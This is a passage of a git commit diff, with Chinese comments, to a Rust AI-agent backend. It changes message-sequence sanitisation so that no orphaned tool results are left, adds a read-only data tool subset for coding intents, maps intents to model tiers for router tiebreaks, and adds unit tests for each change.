修复+重构: 全库走查真bug+架构+P1/P2 后端 crate
- df-nodes: schema required 对齐 + docker POSIX 注入防御 + HumanNode timeout 1800 + parse_review_json(verdict规范/score clamp/正则兜底) - df-mcp: update 实体校验(防跨实体 B-260801-01) - df-storage: keyring 迁移失败达阈值清除明文 - df-ai: router estimated_context+tier tiebreak+DataReadOnly 兜底 + sanitize step4 显式不制造 orphan - df-ideas: adversarial tier:None 对齐
This commit is contained in:
@@ -358,16 +358,50 @@ pub fn assert_placeholder_pairing(
|
||||
/// 注:连续同 role(user/user、assistant/assistant)现实极少——裁剪按三元组原子保护不产生连续 user,
|
||||
/// archived/compressed 过滤后由摘要 system 占位——故本轮不合并(合并会破坏裁剪保护区语义 + 改变条数,
|
||||
/// 致 over_budget_trims_old 等测试失败)。若运行时日志显示连续 role 也是 1214 来源,再补合并。
|
||||
///
|
||||
/// **不制造 orphan(自洽,根本修)**:开头 skip assistant 头时,**显式连带 skip 其后命中的 tool_result**
|
||||
/// (id 在被 skip 头的 tool_calls 内)。旧实现依赖隐式巧合——367 行 `Assistant | Tool` 联合判断 +
|
||||
/// `fixed.is_empty()` 在整组 skip 期间保持 true,使开头整组(head + result)被一起丢。这个契约脆弱:
|
||||
/// (1) 若有人改开头 skip 只针对 Assistant(为修连续 role),立刻制造 orphan;
|
||||
/// (2) step3.5(`drop_reverse_orphans`)在 step4 前跑,无法预见 step4 自身 skip 制造的 orphan;
|
||||
/// (3) memory `ai-router-sanitize-refactor-debt` 走查标 P1 隐式契约债。
|
||||
/// 根本修:step4 主动跟踪自己 skip 掉的 head 的 tool_call.id,后续 tool_result 命中即连带丢,
|
||||
/// 把"不制造 orphan"从隐式巧合变为显式机制——不依赖下游 `assert_placeholder_pairing` 出口断言兜底。
|
||||
/// 保留 367 行"开头 tool_result 也 skip"(防御性兜底:防 step3.5 未跑/开关关闭时孤儿 result 漏网)。
|
||||
pub fn ensure_sequence_legal(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
use std::collections::HashSet;
|
||||
let mut skipped = 0u32;
|
||||
let mut merged = 0u32;
|
||||
// 被 step4 自身 skip 掉的 assistant 头的 tool_call.id 集合。
|
||||
// 后续 tool_result 若命中(id 在此集合),说明其头被 step4 skip 掉了 → 连带丢(不制造 orphan)。
|
||||
let mut skipped_head_ids: HashSet<String> = HashSet::new();
|
||||
let mut fixed: Vec<ChatMessage> = Vec::with_capacity(messages.len());
|
||||
for m in messages {
|
||||
// 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿)
|
||||
// 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿)。
|
||||
// assistant 头被 skip 时,记录其 tool_call.id,后续 result 命中即连带丢(根本修:不制造 orphan)。
|
||||
if fixed.is_empty() && matches!(m.role, MessageRole::Assistant | MessageRole::Tool) {
|
||||
if matches!(m.role, MessageRole::Assistant) {
|
||||
if let Some(calls) = m.tool_calls.as_ref() {
|
||||
for c in calls {
|
||||
skipped_head_ids.insert(c.id.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
skipped += 1;
|
||||
continue;
|
||||
}
|
||||
// 自洽兜底(根本修):tool_result 的 id 命中被 skip 头集合 → 其头已被 step4 自身丢,
|
||||
// 留下即 orphan(直送 provider 400)。显式连带丢,不依赖下游出口断言兜底。
|
||||
// 注:仅丢"step4 自己制造的 orphan",step3.5 已补头的 result 不受影响(其头在 fixed 中,id 不在集合)。
|
||||
if matches!(m.role, MessageRole::Tool) {
|
||||
if m.tool_call_id
|
||||
.as_deref()
|
||||
.is_some_and(|id| skipped_head_ids.contains(id))
|
||||
{
|
||||
skipped += 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
// 连续同 role 合并(user content;assistant content+tool_calls;Tool 不合并——
|
||||
// 连续 tool_result 由 anthropic_compat flush_tool_results 合并成 user blocks,此处合会丢 id)
|
||||
if let Some(last) = fixed.last_mut() {
|
||||
@@ -394,7 +428,7 @@ pub fn ensure_sequence_legal(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
tracing::warn!(
|
||||
skipped,
|
||||
merged,
|
||||
"序列修复:skip 开头非 user + 合并连续同 role(view-only,避免 Anthropic/GLM 1214)"
|
||||
"序列修复:skip 开头非 user(含连带丢 orphan result)+ 合并连续同 role(view-only,避免 Anthropic/GLM 1214)"
|
||||
);
|
||||
}
|
||||
fixed
|
||||
@@ -1017,4 +1051,157 @@ mod tests {
|
||||
"result id 应与补头 id 一致(闭合配对)"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// step4 不制造 orphan(根本修:显式整组 skip,不依赖下游出口断言)
|
||||
// ============================================================
|
||||
|
||||
#[test]
|
||||
fn ensure_sequence_legal_skips_leading_assistant_head_with_its_tool_result() {
|
||||
// 根本修核心场景( memory ai-router-sanitize-refactor-debt P1 隐式契约债):
|
||||
// 开头 user 被 step0/裁剪裁掉后,序列以合法 assistant 工具三元组头开头:
|
||||
// [asst(head, tc_a)] [tool_result(tc_a)] [user "实问"]
|
||||
// step4 skip 开头 assistant 头(首条非 user)→ 必须连带 skip 其后的 tool_result(tc_a),
|
||||
// 否则 tool_result 无头成 orphan(直送 provider 400)。
|
||||
//
|
||||
// 旧实现依赖隐式巧合:367 行 `Assistant | Tool` 联合判断 + fixed.is_empty() 整组保持 true,
|
||||
// 使开头 tool_result 也被 skip。本测验证根本修后**显式机制**(跟踪被 skip head 的 id,
|
||||
// result 命中即连带丢)——即使将来有人改 367 行只 skip Assistant,本测仍通过(连带丢兜底)。
|
||||
let msgs = vec![
|
||||
ChatMessage::assistant_with_tools(
|
||||
"调用工具",
|
||||
vec![ToolCall::new("tc_a", "read_file", "{}")],
|
||||
),
|
||||
ChatMessage::tool_result("tc_a", "工具结果"),
|
||||
ChatMessage::user("实问"),
|
||||
];
|
||||
let fixed = ensure_sequence_legal(msgs);
|
||||
|
||||
// 输出仅剩首条 user(开头三元组整组丢,不留 orphan tool_result)
|
||||
assert_eq!(
|
||||
fixed.len(),
|
||||
1,
|
||||
"开头 asst(head)+tool_result 应整组 skip, 实际 {} 条: {:?}",
|
||||
fixed.len(),
|
||||
fixed.iter().map(|m| format!("{:?}", m.role)).collect::<Vec<_>>()
|
||||
);
|
||||
assert!(matches!(fixed[0].role, MessageRole::User));
|
||||
assert_eq!(fixed[0].content, "实问");
|
||||
// 核心断言:输出中不得有任何 tool_result(无 orphan)
|
||||
let tool_count = fixed
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.count();
|
||||
assert_eq!(tool_count, 0, "step4 不应留下 orphan tool_result");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ensure_sequence_legal_no_orphan_when_leading_user_dropped_mid_sequence() {
|
||||
// 根本修进阶场景:开头 user 被裁 + 中间还有合法三元组(其 head 也在开头被 skip)。
|
||||
// 序列:[asst(head1, tc_a)] [tool(tc_a)] [asst(head2, tc_b)] [tool(tc_b)] [user "问"]
|
||||
// 旧隐式契约:整组都 skip(fixed 全程空,所有 Assistant|Tool 命中 367)。
|
||||
// 根本修后:head1 skip(记 tc_a),tc_a 连带丢(命中集合);head2 skip(记 tc_b),tc_b 连带丢。
|
||||
// 结果:只剩 [user "问"]。验证多组三元组在开头被整组 skip 不留 orphan。
|
||||
let msgs = vec![
|
||||
ChatMessage::assistant_with_tools(
|
||||
"调1",
|
||||
vec![ToolCall::new("tc_a", "fn_a", "{}")],
|
||||
),
|
||||
ChatMessage::tool_result("tc_a", "结果A"),
|
||||
ChatMessage::assistant_with_tools(
|
||||
"调2",
|
||||
vec![ToolCall::new("tc_b", "fn_b", "{}")],
|
||||
),
|
||||
ChatMessage::tool_result("tc_b", "结果B"),
|
||||
ChatMessage::user("问"),
|
||||
];
|
||||
let fixed = ensure_sequence_legal(msgs);
|
||||
assert_eq!(
|
||||
fixed.len(),
|
||||
1,
|
||||
"开头两组三元组应整组 skip, 实际 {:?}",
|
||||
fixed.iter().map(|m| format!("{:?}", m.role)).collect::<Vec<_>>()
|
||||
);
|
||||
assert!(matches!(fixed[0].role, MessageRole::User));
|
||||
// 不留任何 orphan tool_result
|
||||
let tool_count = fixed
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.count();
|
||||
assert_eq!(tool_count, 0, "不应留下 orphan tool_result");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ensure_sequence_legal_preserves_well_formed_triplet_after_user() {
|
||||
// 根本修回归保护:user 在前 + 完整合法三元组在后 → 三元组原样保留(不被误丢)。
|
||||
// 验证根本修的"连带丢 orphan"只针对"被 step4 自己 skip 的头",
|
||||
// 不影响 user 之后正常三元组(其 head 进 fixed 不被 skip,id 不入 skipped_head_ids)。
|
||||
let msgs = vec![
|
||||
ChatMessage::user("开场"),
|
||||
ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("tc_ok", "fn", "{}")],
|
||||
),
|
||||
ChatMessage::tool_result("tc_ok", "结果"),
|
||||
ChatMessage::user("收尾"),
|
||||
];
|
||||
let fixed = ensure_sequence_legal(msgs);
|
||||
// 全保留:首条 user 已合法,后续三元组闭合,无 skip 无合并
|
||||
assert_eq!(
|
||||
fixed.len(),
|
||||
4,
|
||||
"合法序列应原样保留, 实际 {} 条",
|
||||
fixed.len()
|
||||
);
|
||||
assert!(matches!(fixed[0].role, MessageRole::User));
|
||||
assert!(matches!(fixed[1].role, MessageRole::Assistant));
|
||||
assert!(matches!(fixed[2].role, MessageRole::Tool));
|
||||
assert!(matches!(fixed[3].role, MessageRole::User));
|
||||
// tool_result 保留(配对闭合,非 orphan)
|
||||
let tool = fixed
|
||||
.iter()
|
||||
.find(|m| matches!(m.role, MessageRole::Tool))
|
||||
.expect("合法三元组的 tool_result 应保留");
|
||||
assert_eq!(tool.tool_call_id.as_deref(), Some("tc_ok"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_messages_step4_self_contained_no_orphan_without_exit_assert() {
|
||||
// 端到端根本修验证(不经出口断言):模拟"开头 user 被裁 + 直接调 sanitize_messages"
|
||||
// (即用户担心的"若直接调 sanitize_messages 不经出口,orphan 直送 provider 400"路径)。
|
||||
// 根本修后:step4 自洽,sanitize_messages 输出本身不含 step4 制造的 orphan,
|
||||
// 不依赖调用方再跑 assert_placeholder_pairing 兜底。
|
||||
//
|
||||
// 场景:step3.5(PLACEHOLDER_INTEGRITY_ENABLED=true)跑过后,开头三元组闭合,
|
||||
// 但 step4 skip 开头 assistant 头 → 根本修连带丢其 result。
|
||||
// 输入模拟"开头 user 被 step0 过滤掉":序列以 assistant head 开头。
|
||||
let orphan_inducing = vec![
|
||||
ChatMessage::assistant_with_tools(
|
||||
"调工具",
|
||||
vec![ToolCall::new("tc_step4", "fn", "{}")],
|
||||
),
|
||||
ChatMessage::tool_result("tc_step4", "工具结果"),
|
||||
ChatMessage::user("后续问题"),
|
||||
];
|
||||
let sanitized = sanitize_messages(orphan_inducing);
|
||||
|
||||
// 核心断言:sanitize_messages 输出无 orphan tool_result(不依赖出口断言)
|
||||
let orphan_tool_results: Vec<_> = sanitized
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.collect();
|
||||
assert!(
|
||||
orphan_tool_results.is_empty(),
|
||||
"step4 根本修:sanitize_messages 输出不应含 orphan tool_result(自洽,不依赖出口断言), 实际 {:?}",
|
||||
sanitized.iter().map(|m| format!("{:?}", m.role)).collect::<Vec<_>>()
|
||||
);
|
||||
// 首条必须是 user(step4 序列修复后)
|
||||
assert!(
|
||||
sanitized
|
||||
.first()
|
||||
.is_some_and(|m| matches!(m.role, MessageRole::User)),
|
||||
"首条必须是 user, 实际 {:?}",
|
||||
sanitized.first().map(|m| format!("{:?}", m.role))
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+137
-32
@@ -8,8 +8,9 @@
|
||||
//! 1. `IntentRecognizer::recognize(message)` —— 规则/关键词匹配(方式 A,零延迟零成本)
|
||||
//! 返回 `(Intent, f32)`,置信度 0.0–1.0。低置信 → 上游 fallback 全量工具。
|
||||
//! 2. `tool_subset_for(intent)` —— 硬编码工具名→domain 映射,工具名子集(空 = 全量 fallback)。
|
||||
//! 3. `suggested_model_tier(intent)` —— 模态建议**接口预留**,当前恒返 `None`
|
||||
//! (待模型模态管理 Phase 落地后补充实际逻辑)。
|
||||
//! 3. `suggested_model_tier(intent)` —— 模型模态档位建议(意图 → `ModelTier` 映射):
|
||||
//! Code/Debug/Http → Heavy,File/Search/Task/Idea/Project/Conversation → Standard,
|
||||
//! Chat → Fast,Unknown → None(不强加偏好)。router 同 weight tiebreak + 模型路由用。
|
||||
//!
|
||||
//! ## 设计原则
|
||||
//! - **不碰** `tool_registry`:domain 映射在本文件内硬编码工具名常量,运行期不读 registry。
|
||||
@@ -70,12 +71,12 @@ impl Intent {
|
||||
}
|
||||
}
|
||||
|
||||
// ---- ModelTier 预留 ---------------------------------------------------------
|
||||
// ---- ModelTier 档位 ---------------------------------------------------------
|
||||
|
||||
/// 模型模态档位(**预留**)。
|
||||
/// 模型模态档位。
|
||||
///
|
||||
/// 待模型模态管理 Phase 落地后定义实际 provider/model 映射。
|
||||
/// 当前仅占位于 `suggested_model_tier` 返回类型,逻辑恒返 `None`。
|
||||
/// `suggested_model_tier` 据 Intent 映射到此档位,供 router 同 weight tiebreak
|
||||
/// (重档位优先)或后续 provider/model 路由(待模型模态管理 Phase 接入)使用。
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ModelTier {
|
||||
/// 轻量快速(简单意图/闲聊)
|
||||
@@ -230,8 +231,14 @@ const GENERIC_GROUP: &[IntentGroup] = &[
|
||||
/// 本表硬编码,不读 registry 运行期状态(保持模块独立可单测)。
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||
pub enum ToolDomain {
|
||||
/// 数据/业务:项目/任务/灵感/工作流/回收站
|
||||
/// 数据/业务:项目/任务/灵感/工作流/回收站(全量,含写工具)
|
||||
Data,
|
||||
/// 数据只读子集:list_*/get_*_count(不含 create/update/delete/advance/run_workflow/restore/purge/bind_directory)
|
||||
///
|
||||
/// 用途:`Intent::Code` 收敛工具时,既保留编码场景用户常需要的"看一下项目/任务结构"只读
|
||||
/// 探索工具(list_projects/list_tasks/list_ideas/list_trash),又不放大暴露面(不暴露写工具,
|
||||
/// 对齐 `Intent::Code` 不含 `Intent::Debug` 才有的 run_command 那类收紧设计)。
|
||||
DataReadOnly,
|
||||
/// 文件:读写/patch/列目录/搜索(不含命令执行)
|
||||
File,
|
||||
/// 命令执行:run_command(shell 命令,独立 domain 防止被泛 File 意图带出)
|
||||
@@ -280,6 +287,20 @@ impl ToolDomain {
|
||||
// Code/File/Search 不带 → 减少 LLM 对 run_command 的偏好暴露。
|
||||
ToolDomain::Exec => &["run_command"],
|
||||
ToolDomain::Http => &["http_request"],
|
||||
// DataReadOnly:Data domain 的只读子集。
|
||||
// 源于 Code 意图收敛需求:用户在编码场景说"先 list_projects 看下项目结构"
|
||||
// "create_task 记一下"时,意图识别可能命中 Code(SPECIFIC > ENTITY),原 Code subset
|
||||
// 不含 Data domain → list_projects/create_task 对 LLM 不可见,agent 被迫反复 read_file。
|
||||
// 加 Data 全 domain 会暴露 create/update/delete 等写工具(放大暴露面),
|
||||
// 故取只读子集:list_*/get_*_count(纯查询,无副作用)。
|
||||
ToolDomain::DataReadOnly => &[
|
||||
"list_projects",
|
||||
"list_tasks",
|
||||
"list_ideas",
|
||||
"list_trash",
|
||||
"get_project_count",
|
||||
"get_task_count",
|
||||
],
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -416,14 +437,17 @@ fn best_in_group(message: &str, group: &[IntentGroup]) -> Option<(Intent, f32)>
|
||||
/// 返回空 `Vec` 表示该意图**无工具收敛**(Chat)或**未识别**(Unknown),
|
||||
/// 上游应走**全量 fallback**(即不过滤工具,交全量给 LLM)。
|
||||
///
|
||||
/// 设计:Code → [file, http];File → [file];Project/Task/Idea → [data, file](加 file 防「提项目/任务 → 误判 → 砍只读探索」,见 L1);
|
||||
/// 设计:Code → [file, http, data_readonly](加 data_readonly:编码场景用户常需"先 list_projects
|
||||
/// 看下结构/list_tasks 记一下",Code 命中优先级高于 Project/Task(SPECIFIC > ENTITY)会砍 Data domain,
|
||||
/// 取只读子集防"断手"又不放大写工具暴露面,见 ToolDomain::DataReadOnly);
|
||||
/// File → [file];Project/Task/Idea → [data, file](加 file 防「提项目/任务 → 误判 → 砍只读探索」,见 L1);
|
||||
/// Http → [http];Search → [file](含 search_files);Conversation → [];
|
||||
/// Chat → [];Debug → [file, exec, http, data](调试常需跑命令+读文件+查 API+查任务/工作流状态,CR-25 审查🟡-1 加 data 防"调试任务"丢 Data 工具);
|
||||
/// **仅 Debug 含 Exec**(用户明确"运行/测试/构建/调试"才暴露 run_command),
|
||||
/// Code/File/Search 不含 Exec → 收紧 run_command 暴露面;Unknown → [](全量)。
|
||||
pub fn tool_subset_for(intent: &Intent) -> Vec<&'static str> {
|
||||
let domains: &[ToolDomain] = match intent {
|
||||
Intent::Code => &[ToolDomain::File, ToolDomain::Http],
|
||||
Intent::Code => &[ToolDomain::File, ToolDomain::Http, ToolDomain::DataReadOnly],
|
||||
Intent::Debug => &[ToolDomain::File, ToolDomain::Exec, ToolDomain::Http, ToolDomain::Data],
|
||||
Intent::File => &[ToolDomain::File],
|
||||
// Project/Task/Idea 加 File:用户提"项目/任务"时常是在其内编码/排查
|
||||
@@ -449,19 +473,36 @@ pub fn tool_subset_for(intent: &Intent) -> Vec<&'static str> {
|
||||
out
|
||||
}
|
||||
|
||||
// ---- 模态建议(接口预留) ---------------------------------------------------
|
||||
// ---- 模态建议(意图 → 模型 tier 映射) ----------------------------------------
|
||||
|
||||
/// 按 Intent 建议模型模态档位。
|
||||
/// 按 Intent 建议模型模态档位(意图 → 模型 tier 的语义映射)。
|
||||
///
|
||||
/// **预留接口**:当前恒返 `None`。待模型模态管理 Phase 落地后补充:
|
||||
/// - Chat/Conversation → `Fast`
|
||||
/// - Code/File/Task/Idea/Search → `Standard`
|
||||
/// - Debug/Http(复杂排查/多跳调用)→ `Heavy`
|
||||
/// **映射分组**(对齐 router 同 weight tiebreak 缺语义的根因修复):
|
||||
/// - `Code`/`Debug` → `Heavy`(复杂推理/重构/排查,需重模型)
|
||||
/// - `Http` → `Heavy`(多跳外部调用,链长易错,需重模型把关)
|
||||
/// - `File`/`Search`/`Task`/`Idea`/`Project`/`Conversation` → `Standard`(默认复杂度)
|
||||
/// - `Chat` → `Fast`(简单闲聊,轻量即可)
|
||||
/// - `Unknown` → `None`(未识别,fallback 全量工具时不强加 tier 偏好,
|
||||
/// 上游走默认档位)
|
||||
///
|
||||
/// 返回 `None` 时上游应使用默认档位(待模态管理 Phase 定义)。
|
||||
pub fn suggested_model_tier(_intent: &Intent) -> Option<ModelTier> {
|
||||
// TODO(model-tier-phase): 待模型模态管理落地后填实映射。
|
||||
None
|
||||
/// 返回 `Some(ModelTier)` 时上游可作为同 weight 候选间的 tiebreak 依据
|
||||
/// (重档位优先),或据此路由到不同 provider/model(待模型模态管理 Phase 接入)。
|
||||
pub fn suggested_model_tier(intent: &Intent) -> Option<ModelTier> {
|
||||
match intent {
|
||||
// 重型:复杂推理/重构/排查/多跳调用
|
||||
Intent::Code | Intent::Debug | Intent::Http => Some(ModelTier::Heavy),
|
||||
// 标准:默认复杂度
|
||||
Intent::File
|
||||
| Intent::Search
|
||||
| Intent::Task
|
||||
| Intent::Idea
|
||||
| Intent::Project
|
||||
| Intent::Conversation => Some(ModelTier::Standard),
|
||||
// 轻量:简单闲聊
|
||||
Intent::Chat => Some(ModelTier::Fast),
|
||||
// 未识别:不强加 tier 偏好,fallback 上游默认
|
||||
Intent::Unknown => None,
|
||||
}
|
||||
}
|
||||
|
||||
// ---- 工具子集过滤(agentic loop 接入用,改进2 A) -----------------------------
|
||||
@@ -813,7 +854,55 @@ mod tests {
|
||||
assert!(s.contains(&"write_file"));
|
||||
assert!(s.contains(&"patch_file"));
|
||||
assert!(s.contains(&"http_request"));
|
||||
assert!(!s.contains(&"list_projects"));
|
||||
// Code 现含 DataReadOnly → list_projects 等只读工具保留(不再断言"不含")
|
||||
assert!(s.contains(&"list_projects"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn subset_code_keeps_data_readonly_tools() {
|
||||
// 根因修复(Code 命中砍 Data domain 致 list_*/get_*_count 不可见):
|
||||
// Code subset 应含 DataReadOnly 全部 6 个只读工具,让"先 list_projects 看下结构"
|
||||
// "list_tasks 记一下"这类编码场景的口语不被 Code 意图砍工具。
|
||||
let s = tool_subset_for(&Intent::Code);
|
||||
for read_only in [
|
||||
"list_projects",
|
||||
"list_tasks",
|
||||
"list_ideas",
|
||||
"list_trash",
|
||||
"get_project_count",
|
||||
"get_task_count",
|
||||
] {
|
||||
assert!(
|
||||
s.contains(&read_only),
|
||||
"Code subset 应含只读工具 {}(DataReadOnly domain)",
|
||||
read_only
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn subset_code_no_data_write_tools() {
|
||||
// 防回归:Code subset 只加 Data 的"只读子集",不得暴露写工具。
|
||||
// create_task 不应在 Code subset(只读 list_* 在,写 create_* 不在)。
|
||||
// create_project/update_project/delete_project/advance_task/run_workflow 同理。
|
||||
let s = tool_subset_for(&Intent::Code);
|
||||
for write_tool in [
|
||||
"create_task",
|
||||
"update_task",
|
||||
"delete_task",
|
||||
"create_project",
|
||||
"update_project",
|
||||
"delete_project",
|
||||
"advance_task",
|
||||
"run_workflow",
|
||||
] {
|
||||
assert!(
|
||||
!s.contains(&write_tool),
|
||||
"Code subset 不应含写工具 {}(只读子集,防放大暴露面), 实际 subset: {:?}",
|
||||
write_tool,
|
||||
s
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -907,26 +996,39 @@ mod tests {
|
||||
assert_eq!(ToolDomain::Http.tools(), &["http_request"]);
|
||||
}
|
||||
|
||||
// --- suggested_model_tier 预留 ---
|
||||
// --- suggested_model_tier 意图 → 档位映射 ---
|
||||
|
||||
#[test]
|
||||
fn model_tier_always_none_for_now() {
|
||||
// 接口预留:当前所有意图均返 None
|
||||
fn model_tier_mapping_now_returns_actual() {
|
||||
// Code/Debug/Http → Heavy(复杂推理/重构/排查/多跳调用)
|
||||
for i in [Intent::Code, Intent::Debug, Intent::Http] {
|
||||
assert_eq!(
|
||||
suggested_model_tier(&i),
|
||||
Some(ModelTier::Heavy),
|
||||
"intent {:?} 应映射 Heavy",
|
||||
i
|
||||
);
|
||||
}
|
||||
// File/Search/Task/Idea/Project/Conversation → Standard(默认复杂度)
|
||||
for i in [
|
||||
Intent::Code,
|
||||
Intent::Debug,
|
||||
Intent::File,
|
||||
Intent::Project,
|
||||
Intent::Search,
|
||||
Intent::Task,
|
||||
Intent::Idea,
|
||||
Intent::Project,
|
||||
Intent::Conversation,
|
||||
Intent::Search,
|
||||
Intent::Http,
|
||||
Intent::Chat,
|
||||
Intent::Unknown,
|
||||
] {
|
||||
assert_eq!(suggested_model_tier(&i), None, "intent {:?} 应返 None", i);
|
||||
assert_eq!(
|
||||
suggested_model_tier(&i),
|
||||
Some(ModelTier::Standard),
|
||||
"intent {:?} 应映射 Standard",
|
||||
i
|
||||
);
|
||||
}
|
||||
// Chat → Fast(简单闲聊)
|
||||
assert_eq!(suggested_model_tier(&Intent::Chat), Some(ModelTier::Fast));
|
||||
// Unknown → None(未识别,不强加 tier 偏好,fallback 上游默认)
|
||||
assert_eq!(suggested_model_tier(&Intent::Unknown), None);
|
||||
}
|
||||
|
||||
// --- IntentRecognizer Default ---
|
||||
@@ -1145,10 +1247,13 @@ mod tests {
|
||||
];
|
||||
for intent in all_intents {
|
||||
let subset = tool_subset_for(&intent);
|
||||
// 全 registry 工具名(四 domain 并集:Data + File + Exec + Http)
|
||||
// 全 registry 工具名(五 domain 并集:Data + DataReadOnly + File + Exec + Http)
|
||||
// 注:DataReadOnly 工具名是 Data 的子集,chain 它仅为语义显式(并集去重无副作用),
|
||||
// 防 Code subset 里 list_projects 等 DataReadOnly 工具被判"不在 registry"。
|
||||
let registry: std::collections::HashSet<&str> = ToolDomain::Data
|
||||
.tools()
|
||||
.iter()
|
||||
.chain(ToolDomain::DataReadOnly.tools().iter())
|
||||
.chain(ToolDomain::File.tools().iter())
|
||||
.chain(ToolDomain::Exec.tools().iter())
|
||||
.chain(ToolDomain::Http.tools().iter())
|
||||
|
||||
+212
-18
@@ -10,25 +10,36 @@
|
||||
// 各自从 df_ai_core::model 取(跨 crate 路径冗长)。select/select_model_id 仅借用枚举,无重定义。
|
||||
// 注:CostTier/IntelligenceTier 路由已解耦——provider /v1/models API
|
||||
// 不返回这两维度,数据无客观依据不可信,不参与硬路由;re-export 保留供未来真实判别源。
|
||||
// ModelTier 从 crate::intent re-export(同 crate,无跨 crate 路径问题),供调用点构造
|
||||
// `tier: suggested_model_tier(&intent)` 传入,router 同 weight 时按 tier tiebreak。
|
||||
pub use crate::intent::ModelTier;
|
||||
pub use df_ai_core::model::{Capability, CostTier, IntelligenceTier, Modality, ModelConfig};
|
||||
|
||||
/// 任务对模型的需求(3 维度)。
|
||||
/// 任务对模型的需求(4 维度)。
|
||||
///
|
||||
/// 由调用点构造,描述本次调用需要什么模态/能力/上下文,
|
||||
/// 由调用点构造,描述本次调用需要什么模态/能力/上下文/档位,
|
||||
/// 交 ModelRouter::select 在候选池中选最优模型。
|
||||
///
|
||||
/// 路由已解耦:原 `min_intelligence`/`max_cost` 两字段删除。
|
||||
/// provider /v1/models API 不返回 cost_tier/intelligence,这两维度 100% 靠预设表写死 +
|
||||
/// 模型名启发式猜,数据无客观依据不可信,不应参与硬路由。枚举(CostTier/IntelligenceTier)
|
||||
/// 保留供未来出现真实判别源时再接回。
|
||||
///
|
||||
/// `tier`(子项 2 根因修复):任务建议的模型档位(由 `intent::suggested_model_tier` 派生,
|
||||
/// 或无意图场景传 None)。原 `max_by_key(weight)` 同 weight 返最后一个,顺序敏感无语义;
|
||||
/// 接 tier 后,同 weight 时优先选 `intelligence` 满足 tier 下限的候选(见 `tier_match`)。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct TaskRequirements {
|
||||
/// 任务所需的模态集合(全子集匹配:任务所需模态都必须在模型模态里)
|
||||
pub modalities: Vec<Modality>,
|
||||
/// 是否需要工具调用能力(needs_tool_use=true 时候选必须含 Capability::ToolUse)
|
||||
pub needs_tool_use: bool,
|
||||
/// 预估上下文大小(tokens,模型 context_window 必须 >= 此值)
|
||||
/// 预估上下文大小(tokens,模型 context_window 必须 >= 此值)。
|
||||
/// 调用点应传 TokenEstimator 估值而非 0(0 = 当前空操作,窗口过滤维度失效)。
|
||||
pub estimated_context: usize,
|
||||
/// 任务建议的模型档位(意图→ModelTier,无意图场景 None)。
|
||||
/// 同 weight 候选间按 tier tiebreak(满足 tier 下限的候选胜)。
|
||||
pub tier: Option<ModelTier>,
|
||||
}
|
||||
|
||||
/// 模型路由器(单元结构,无状态)。
|
||||
@@ -36,6 +47,33 @@ pub struct TaskRequirements {
|
||||
/// select 为关联函数:给定需求 + 候选池,执行过滤链选最优模型。
|
||||
pub struct ModelRouter;
|
||||
|
||||
/// ModelTier → IntelligenceTier 下限映射(子项 2 tier tiebreak 用)。
|
||||
///
|
||||
/// 任务建议档位(ModelTier:F-Heavy)映射到模型智力下限(IntelligenceTier),
|
||||
/// 同 weight 候选间优先选 `model.intelligence >= 下限` 的(满足任务复杂度需求)。
|
||||
/// - `Fast` → `Lite`(轻量意图,任何模型都满足)
|
||||
/// - `Standard` → `Standard`(日常,需 Standard 及以上)
|
||||
/// - `Heavy` → `Plus`(复杂推理,需 Plus 及以上)
|
||||
fn tier_min_intelligence(tier: ModelTier) -> IntelligenceTier {
|
||||
match tier {
|
||||
ModelTier::Fast => IntelligenceTier::Lite,
|
||||
ModelTier::Standard => IntelligenceTier::Standard,
|
||||
ModelTier::Heavy => IntelligenceTier::Plus,
|
||||
}
|
||||
}
|
||||
|
||||
/// 同 weight tiebreak:候选是否满足任务建议档位的智力下限。
|
||||
///
|
||||
/// 返 `bool`(满足 = true)。调用方在 `max_by` 闭包内 `a_match.cmp(&b_match)` 把 bool 转 Ordering:
|
||||
/// a 满足而 b 不满足 → Greater(a 胜);都满足/都不满足 → Equal(max_by 并列返最后一个)。
|
||||
/// - `req.tier = None`(无意图场景,标题/扫描/压缩):恒 true(所有候选等价,保留旧行为)。
|
||||
/// - `req.tier = Some(t)`:返 `model_intel >= tier_min_intelligence(t)`。
|
||||
fn tier_match(model_intel: IntelligenceTier, req_tier: Option<ModelTier>) -> bool {
|
||||
req_tier
|
||||
.map(|t| model_intel >= tier_min_intelligence(t))
|
||||
.unwrap_or(true) // None → 视作满足(tiebreak 维度不参与,保旧行为)
|
||||
}
|
||||
|
||||
impl ModelRouter {
|
||||
/// 在候选池中选出最优模型(过滤链)。
|
||||
///
|
||||
@@ -44,19 +82,38 @@ impl ModelRouter {
|
||||
/// 2. 模态匹配 — 任务所需模态全在模型模态里
|
||||
/// 3. 能力匹配 — needs_tool_use 时候选必须含 ToolUse
|
||||
/// 4. 窗口够大 — context_window >= estimated_context
|
||||
/// 5. max_by_key 选最优:纯 weight 主导(权重高者胜)
|
||||
/// 5. max_by 选最优:**主键 weight 降序**(权重高者胜),**同 weight 时按 tier tiebreak**
|
||||
/// (满足任务建议档位 `intelligence >= tier_min` 的候选胜)。
|
||||
///
|
||||
/// tier tiebreak(子项 2 根因修复):原 `max_by_key(weight)` 同 weight 返最后一个,
|
||||
